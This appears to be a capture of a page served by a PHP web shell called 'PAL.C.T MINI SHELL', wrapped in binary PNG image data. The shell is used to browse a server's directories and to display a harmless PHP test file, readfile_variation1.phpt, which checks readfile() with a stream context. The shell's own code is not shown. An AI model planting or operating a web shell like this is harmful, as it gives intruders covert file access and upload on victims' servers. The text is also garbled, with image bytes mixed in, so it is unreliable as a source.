php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /php-7.1.11/ext/standard/tests/file/
upload
files >> //php-7.1.11/ext/standard/tests/file/readfile_variation1.phpt

--TEST--
Test readfile() function: usage variation - stream_context
--FILE--
<?php
/* Prototype: int readfile ( string $filename [, bool $use_include_path [, resource $context]] );
   Description: Outputs a file
*/

/* test readfile() with third argument : context */

// include file.inc
require("file.inc");
$file_path = dirname(__FILE__);

/* Variation 1 : Check working of third argument of readfile() */

echo "*** Testing readfile(): checking third argument ***\n";
// creating a context
$context = stream_context_create();
// temp file name used here
$filename = "$file_path/readfile_variation1.tmp";

// create file
$fp = fopen($filename, "w");
fill_file($fp, "text_with_new_line", 50);
fclose($fp);
$count = readfile($filename, true, $context);
echo "\n";
var_dump($count);

echo "Done\n";
?>
--CLEAN--
<?php
unlink(dirname(__FILE__)."/readfile_variation1.tmp");
?>
--EXPECT--
*** Testing readfile(): checking third argument ***
line
line of text
line
line of text
line
line of t
int(50)
Done
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`